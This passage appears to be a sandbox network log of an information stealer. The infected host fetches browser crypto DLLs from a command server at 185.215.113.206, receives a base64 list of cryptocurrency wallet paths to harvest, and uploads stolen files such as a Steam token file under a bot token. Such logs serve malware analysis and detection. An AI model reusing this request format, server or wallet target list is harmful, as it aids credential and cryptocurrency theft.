name="token"3a5c0c20f2a9a7e35f80798a036bdc2e7b6e91b98d27b85141166b110d260f3e59c65e08------EGIJKEHCAKFCAKFHDAAAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EGIJKEHCAKFCAKFHDAAAContent-Disposition: form-data; name="file"------EGIJKEHCAKFCAKFHDAAA--
Nov 21, 2024 07:10:47.778774023 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:47 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 21, 2024 07:10:48.431133986 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 21, 2024 07:10:48.885188103 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:48 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 21, 2024 07:10:48.885215044 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Nov 21, 2024 07:10:48.885225058 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Nov 21, 2024 07:10:48.885286093 CET	1236	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Nov 21, 2024 07:10:48.885298014 CET	1236	IN	Data Raw: 00 00 00 0f 57 c8 0f 11 8c 0e 9c 00 00 00 83 c1 20 83 c3 fe 75 a6 eb 02 31 c9 f6 c2 01 74 28 0f 10 04 0f 0f 10 4c 0e 0c 0f 57 c8 0f 10 84 0e 8c 00 00 00 0f 11 4c 0e 0c 0f 10 0c 0f 0f 57 c8 0f 11 8c 0e 8c 00 00 00 31 db 8b 55 ac 39 c2 74 6b f6 c2 Data Ascii: W u1t(LWLW1U9tkt0T0U19t<f.0L0L0LL09uM17L^_[]USWVh1
Nov 21, 2024 07:10:48.885308981 CET	1236	IN	Data Raw: f0 8d 86 00 ff ff ff 3d 00 ff ff ff 77 0a 68 0e e0 ff ff e9 d0 00 00 00 8b 45 08 85 c0 0f 84 c0 00 00 00 8d 9d f0 fe ff ff 68 00 01 00 00 68 20 21 08 10 50 e8 28 f9 07 00 83 c4 0c bf 00 01 00 00 0f 1f 80 00 00 00 00 56 ff 75 0c 53 e8 0f f9 07 00 Data Ascii: =whEhh !P(VuS)9wWuSufDT>\>=t%>>f1h
Nov 21, 2024 07:10:48.893549919 CET	744	IN	Data Raw: 45 d0 0f 84 a4 00 00 00 89 55 e0 89 5d dc 8b 45 ec 04 01 89 4d d4 0f b6 c8 8a 5d e8 8b 55 f0 8a 24 0a 00 e3 0f b6 f3 8b 55 f0 8a 3c 32 8b 55 f0 88 3c 0a 8b 55 f0 88 24 32 00 e7 0f b6 f7 8b 4d 10 8a 21 8b 4d f0 32 24 31 8b 4d d4 8b 55 e4 88 22 ba Data Ascii: EU]EM]U$U<2U<U$2M!M2$1MU")UtDEU$U<2U<U$2MaM2$1MUbu-]En~uMMUEEM]}7
Nov 21, 2024 07:10:48.896126032 CET	1236	IN	Data Raw: d4 66 0f eb d6 83 c6 10 66 0f fe 05 10 21 08 10 83 c1 fe 0f 85 a3 fe ff ff eb 7e 73 1b 8b 07 83 c7 04 8b 4d c4 d3 e8 89 45 e0 8b 4d ec 8b 45 d0 8a 55 e8 e9 78 01 00 00 c7 45 e0 00 00 00 00 8a 55 e8 8b 4d ec e9 66 01 00 00 c7 45 e0 00 00 00 00 8b Data Ascii: ff!~sMEMEUxEUMfEMUTFtFMUEM)ffo 1ffo fuEfn,0fnd0ff`faf`fafrfo5 f[fpff
Nov 21, 2024 07:10:48.896310091 CET	1236	IN	Data Raw: 18 09 c2 33 55 e0 8b 4d c4 8b 45 d4 d3 e8 8b 4d e8 8b 7d dc 89 14 0f 8b 7d e4 83 c6 fc 83 c1 04 89 c2 8b 45 d0 89 75 d8 3b 75 c8 0f 83 c7 fe ff ff 8b 55 ec 01 ca 01 cf 01 4d dc 83 7d d8 00 0f 85 c4 fc ff ff 8b 45 f0 88 90 00 01 00 00 88 98 01 01 Data Ascii: 3UMEM}}Eu;uUM}Et}EPEE},7,7E@2CM.USWV\2tRA
Nov 21, 2024 07:10:48.905404091 CET	1236	IN	Data Raw: 31 c8 89 f1 0f a4 c1 01 89 4d 80 0f a4 f0 01 89 85 5c ff ff ff 8b 85 74 ff ff ff 8b 48 40 89 8d 18 ff ff ff 8b 75 b4 01 ce 8b 48 44 89 8d 34 ff ff ff 8b 55 c8 11 ca 8b bd 60 ff ff ff 01 fe 89 75 b4 13 55 98 31 d3 89 5d 94 89 d3 8b 85 64 ff ff ff Data Ascii: 1M\tH@uHD4U`uU1]d1dMMMUU1u1tpH8}pLE]d1]1U]uuEE11E}t
Nov 21, 2024 07:10:50.458926916 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 21, 2024 07:10:50.912653923 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:50 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 21, 2024 07:10:51.833182096 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 21, 2024 07:10:52.502049923 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:52 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 21, 2024 07:10:52.959357023 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 21, 2024 07:10:53.413360119 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:53 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 21, 2024 07:10:56.634519100 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 21, 2024 07:10:57.088222980 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:56 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 21, 2024 07:10:58.389347076 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 21, 2024 07:10:58.843516111 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:58 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 21, 2024 07:11:00.269623041 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AECFCAAECBGDGDHIEHJE Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Nov 21, 2024 07:11:01.233490944 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:11:00 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 21, 2024 07:11:01.468988895 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKKKEHJKFCFCBFHIIDGD Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4b 4b 45 48 4a 4b 46 43 46 43 42 46 48 49 49 44 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 35 63 30 63 32 30 66 32 61 39 61 37 65 33 35 66 38 30 37 39 38 61 30 33 36 62 64 63 32 65 37 62 36 65 39 31 62 39 38 64 32 37 62 38 35 31 34 31 31 36 36 62 31 31 30 64 32 36 30 66 33 65 35 39 63 36 35 65 30 38 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4b 45 48 4a 4b 46 43 46 43 42 46 48 49 49 44 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4b 45 48 4a 4b 46 43 46 43 42 46 48 49 49 44 47 44 2d 2d 0d 0a Data Ascii: ------KKKKEHJKFCFCBFHIIDGDContent-Disposition: form-data; name="token"3a5c0c20f2a9a7e35f80798a036bdc2e7b6e91b98d27b85141166b110d260f3e59c65e08------KKKKEHJKFCFCBFHIIDGDContent-Disposition: form-data; name="message"wallets------KKKKEHJKFCFCBFHIIDGD--
Nov 21, 2024 07:11:01.925082922 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:11:01 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 21, 2024 07:11:01.927506924 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCAEGCBFHJDGCBFHDAFB Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 35 63 30 63 32 30 66 32 61 39 61 37 65 33 35 66 38 30 37 39 38 61 30 33 36 62 64 63 32 65 37 62 36 65 39 31 62 39 38 64 32 37 62 38 35 31 34 31 31 36 36 62 31 31 30 64 32 36 30 66 33 65 35 39 63 36 35 65 30 38 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 42 2d 2d 0d 0a Data Ascii: ------HCAEGCBFHJDGCBFHDAFBContent-Disposition: form-data; name="token"3a5c0c20f2a9a7e35f80798a036bdc2e7b6e91b98d27b85141166b110d260f3e59c65e08------HCAEGCBFHJDGCBFHDAFBContent-Disposition: form-data; name="message"files------HCAEGCBFHJDGCBFHDAFB--
Nov 21, 2024 07:11:02.383568048 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:11:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 21, 2024 07:11:02.407788038 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGDBAKFCFHCGDGCBAAKF Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 44 42 41 4b 46 43 46 48 43 47 44 47 43 42 41 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 35 63 30 63 32 30 66 32 61 39 61 37 65 33 35 66 38 30 37 39 38 61 30 33 36 62 64 63 32 65 37 62 36 65 39 31 62 39 38 64 32 37 62 38 35 31 34 31 31 36 36 62 31 31 30 64 32 36 30 66 33 65 35 39 63 36 35 65 30 38 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 42 41 4b 46 43 46 48 43 47 44 47 43 42 41 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 42 41 4b 46 43 46 48 43 47 44 47 43 42 41 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BGDBAKFCFHCGDGCBAAKFContent-Disposition: form-data; name="token"3a5c0c20f2a9a7e35f80798a036bdc2e7b6e91b98d27b85141166b110d260f3e59c65e08------BGDBAKFCFHCGDGCBAAKFContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------BGDBAKFCFHCGDGCBAAKFContent-Disposition: form-data; name="file"------BGDBAKFCFHCGDGCBAAKF--
